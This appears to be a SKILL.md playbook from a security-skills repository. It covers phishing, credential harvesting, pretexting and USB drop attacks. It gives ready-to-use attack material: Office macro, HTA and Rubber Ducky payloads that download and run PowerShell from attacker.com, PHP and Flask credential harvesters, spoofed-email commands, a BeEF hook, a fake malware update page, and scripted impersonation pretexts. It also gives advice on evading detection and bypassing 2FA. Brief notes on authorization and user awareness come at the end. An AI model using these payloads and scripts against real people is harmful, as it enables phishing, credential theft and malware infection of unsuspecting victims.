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    trilwu

    performing-social-engineering

    trilwu/performing-social-engineering
    Security
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    SKILL.md

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    About

    Conduct phishing campaigns, credential harvesting, pretexting, and social engineering attacks using tools like Gophish, SET, and custom techniques...

    SKILL.md

    Performing Social Engineering

    When to Use

    • Phishing campaign execution
    • Credential harvesting operations
    • Social engineering assessments
    • Red team engagements
    • Security awareness testing

    Phishing Infrastructure

    Gophish (Phishing Framework)

    # Install
    wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
    unzip gophish-v0.12.1-linux-64bit.zip
    chmod +x gophish
    ./gophish
    
    # Access web interface
    https://localhost:3333
    # Default: admin:gophish
    

    Gophish Campaign Setup:

    1. Email Templates - Create convincing phishing emails
    2. Landing Pages - Clone legitimate sites for credential harvesting
    3. Sending Profiles - Configure SMTP server
    4. Groups - Import target user lists
    5. Campaign - Combine all elements and launch

    SET (Social Engineering Toolkit)

    # Launch SET
    setoolkit
    
    # Common modules:
    # 1) Social-Engineering Attacks
    #    1) Spear-Phishing Attack Vectors
    #    2) Website Attack Vectors
    #    3) Credential Harvester Attack Method
    

    Credential Harvester:

    # SET Menu:
    # 1 -> 2 -> 3 (Credential Harvester)
    # Choose site template or custom URL
    # Enter attacker IP
    # Hosts fake login page
    # Captures credentials when submitted
    

    Email Phishing

    Email Spoofing

    # sendEmail (simple SMTP client)
    sendEmail -f ceo@company.com \
      -t target@company.com \
      -u "Urgent: Password Reset Required" \
      -m "Click here to reset: http://evil.com/reset" \
      -s smtp.server.com:25
    
    # swaks (SMTP testing tool)
    swaks --to target@company.com \
      --from ceo@company.com \
      --header "Subject: Important Update" \
      --body "Please review: http://evil.com" \
      --server smtp.company.com
    

    Attachment-Based Phishing

    Malicious Office Macros:

    ' Excel/Word VBA macro
    Sub AutoOpen()
        Shell "powershell -nop -w hidden -c ""IEX((new-object net.webclient).downloadstring('http://attacker.com/payload.ps1'))"""
    End Sub
    

    Malicious PDF:

    # Create PDF with embedded JavaScript
    # Use tools like:
    # - metasploit (exploit/windows/fileformat/adobe_pdf_embedded_exe)
    # - PDFtk
    # - malicious JavaScript injection
    

    Malicious HTA:

    <!-- malicious.hta -->
    <html>
    <head>
    <script language="VBScript">
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Run "powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
    window.close()
    </script>
    </head>
    </html>
    

    Clone Legitimate Sites

    # HTTrack website copier
    httrack http://legitimate-site.com -O ./cloned_site/
    
    # wget mirror
    wget --mirror --convert-links --adjust-extension --page-requisites --no-parent http://legitimate-site.com
    
    # Manual with curl
    curl -o index.html http://legitimate-site.com/login
    
    # Modify form action to send credentials to attacker
    <form action="http://attacker.com/harvest.php" method="POST">
    

    Credential Harvesting Server

    Simple PHP Harvester:

    <?php
    // harvest.php
    $file = 'credentials.txt';
    $username = $_POST['username'];
    $password = $_POST['password'];
    $data = "User: $username | Pass: $password | IP: " . $_SERVER['REMOTE_ADDR'] . " | " . date('Y-m-d H:i:s') . "\n";
    file_put_contents($file, $data, FILE_APPEND);
    
    // Redirect to real site
    header('Location: https://real-site.com');
    ?>
    

    Python Flask Harvester:

    from flask import Flask, request, redirect
    app = Flask(__name__)
    
    @app.route('/login', methods=['POST'])
    def harvest():
        with open('creds.txt', 'a') as f:
            f.write(f"User: {request.form['username']}, Pass: {request.form['password']}\n")
        return redirect('https://real-site.com')
    
    if __name__ == '__main__':
        app.run(host='0.0.0.0', port=80)
    

    Voice Phishing (Vishing)

    SpoofCard/Caller ID Spoofing

    • Services to spoof caller ID
    • Impersonate IT support, executives, vendors
    • Social engineering over phone

    Common Pretexts:

    • IT support needing to verify credentials
    • HR department verifying personal information
    • Finance department confirming wire transfer
    • Vendor requiring payment information update

    SMS Phishing (Smishing)

    # Send SMS with link
    # Use services or tools like:
    # - Twilio API
    # - SMS gateways
    # - SIM card with AT commands
    
    # Example pretext:
    "Your package delivery failed. Track here: http://evil.com/track"
    "Your account has been locked. Reset here: http://evil.com/unlock"
    "You've won a prize! Claim here: http://evil.com/claim"
    

    USB Drop Attacks

    Rubber Ducky / Bad USB

    Ducky Script Example:

    REM Open PowerShell and download payload
    DELAY 2000
    GUI r
    DELAY 500
    STRING powershell -w hidden
    ENTER
    DELAY 1000
    STRING IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')
    ENTER
    

    Bash Bunny:

    # Payloads at /payloads/switch1/
    # Example: exfiltrate files, run payload, etc.
    

    Physical USB Drops

    Pretexts:

    • "Company Financial Data 2024"
    • "Salary Information - Confidential"
    • "Employee Bonuses Q4"
    • "IT Security Update - Required"

    Payload Ideas:

    • Reverse shell
    • Credential stealer
    • Keylogger
    • Data exfiltration
    • Persistence mechanisms

    QR Code Phishing

    # Generate QR code pointing to phishing site
    qrencode -o evil_qr.png "http://evil.com/harvest"
    
    # Print and place in physical locations:
    # - "Scan for Free WiFi"
    # - "Employee Portal Access"
    # - "Building Directory"
    

    Watering Hole Attacks

    1. Identify target organization's commonly visited sites
    2. Compromise the website (or create lookalike)
    3. Inject malicious code (exploit or profiling)
    4. Wait for targets to visit and get compromised

    Browser-Based Attacks

    BeEF (Browser Exploitation Framework)

    # Start BeEF
    ./beef
    
    # Hook browsers with:
    <script src="http://attacker-ip:3000/hook.js"></script>
    
    # Access UI
    http://127.0.0.1:3000/ui/panel
    # Default: beef:beef
    
    # Commands:
    # - Social Engineering (fake notifications)
    # - Browser exploitation
    # - Network discovery
    # - Credential harvesting
    

    Fake Update Pages

    <!-- fake-update.html -->
    <html>
    <head><title>Critical Browser Update Required</title></head>
    <body>
    <h1>Your browser is out of date!</h1>
    <p>Click here to download the latest security update.</p>
    <a href="http://attacker.com/malware.exe">Download Update</a>
    </body>
    </html>
    

    Pretexting Scenarios

    IT Support:

    • "Hi, this is John from IT. We're doing routine password resets..."
    • "We've detected suspicious activity on your account..."
    • "Your VPN certificate is expiring, we need to update it..."

    Executive Impersonation:

    • "This is [CEO name], I'm in a meeting and need you to..."
    • "Urgent: Wire transfer needed before end of day..."
    • "I'm traveling and can't access my account, can you help me..."

    Vendor/Partner:

    • "This is accounting from [vendor]. We need to update payment information..."
    • "Your invoice is past due, please update billing details..."

    Delivery/Shipping:

    • "Package delivery failed, verify address..."
    • "Customs clearance required, pay fee at..."

    LinkedIn/Social Media Reconnaissance

    # Gather employee information
    # - Job titles
    # - Organizational structure
    # - Technologies used
    # - Recent activities/projects
    
    # Tools:
    # - theHarvester
    # - linkedin2username
    # - hunter.io (email patterns)
    
    # Use for:
    # - Targeted phishing
    # - Pretexting scenarios
    # - Impersonation attacks
    

    Payload Delivery Methods

    Links:

    • Shortened URLs (bit.ly, tinyurl)
    • Typosquatting domains
    • Homograph attacks (IDN homograph)
    • URL obfuscation

    Attachments:

    • Office documents with macros (.docm, .xlsm)
    • PDFs with exploits/JavaScript
    • Compressed files (.zip, .rar)
    • ISO/IMG files
    • LNK files (shortcut tricks)

    Advanced:

    • HTML smuggling
    • Polyglot files
    • Password-protected archives (bypass AV)
    • Signed malware (stolen/fake certificates)

    Tracking and Reporting

    Email Tracking:

    <!-- Invisible tracking pixel -->
    <img src="http://attacker.com/track?id=USER123" width="1" height="1" style="display:none">
    

    Link Tracking:

    # Unique URL per target
    http://attacker.com/click?id=USER123
    
    # Log access in server
    

    Metrics to Track:

    • Emails sent
    • Emails opened (tracking pixel)
    • Links clicked
    • Credentials submitted
    • Attachments opened
    • Time to first click/submission

    OpSec Considerations

    Infrastructure:

    • Use disposable domains
    • HTTPS for credential harvesting
    • Legitimate SSL certificates (Let's Encrypt)
    • Categorize domains (submit to categorization services)
    • CDN for hosting (CloudFlare)

    Email:

    • SPF/DKIM/DMARC alignment
    • Warm up email reputation
    • Similar but different domains (company.com vs company-portal.com)
    • Avoid spam trigger words

    Detection Avoidance:

    • Realistic sender names and addresses
    • Professional email content
    • Avoid known malicious indicators
    • Time-based delivery (business hours)
    • Geofencing (target geography only)

    Tools Summary

    • Gophish - Phishing campaign management
    • SET - Social Engineering Toolkit
    • BeEF - Browser exploitation
    • King Phisher - Phishing campaign toolkit
    • Evilginx2 - MITM phishing proxy (bypass 2FA)
    • Modlishka - Reverse proxy phishing
    • CredSniper - 2FA token capture
    • ShellPhish - Automated phishing

    Defensive Awareness

    Teach users to recognize:

    • Urgency/pressure tactics
    • Requests for credentials
    • Unusual senders
    • Suspicious links/attachments
    • Too-good-to-be-true offers
    • Requests to bypass security

    Legal and Ethical Considerations

    • Always have written authorization
    • Define scope clearly
    • Protect harvested data
    • Follow ROE (Rules of Engagement)
    • Report findings responsibly
    • Delete data after engagement

    References

    • https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology
    • https://getgophish.com/
    • https://github.com/trustedsec/social-engineer-toolkit
    • https://www.social-engineer.org/
    Repository
    trilwu/secskills
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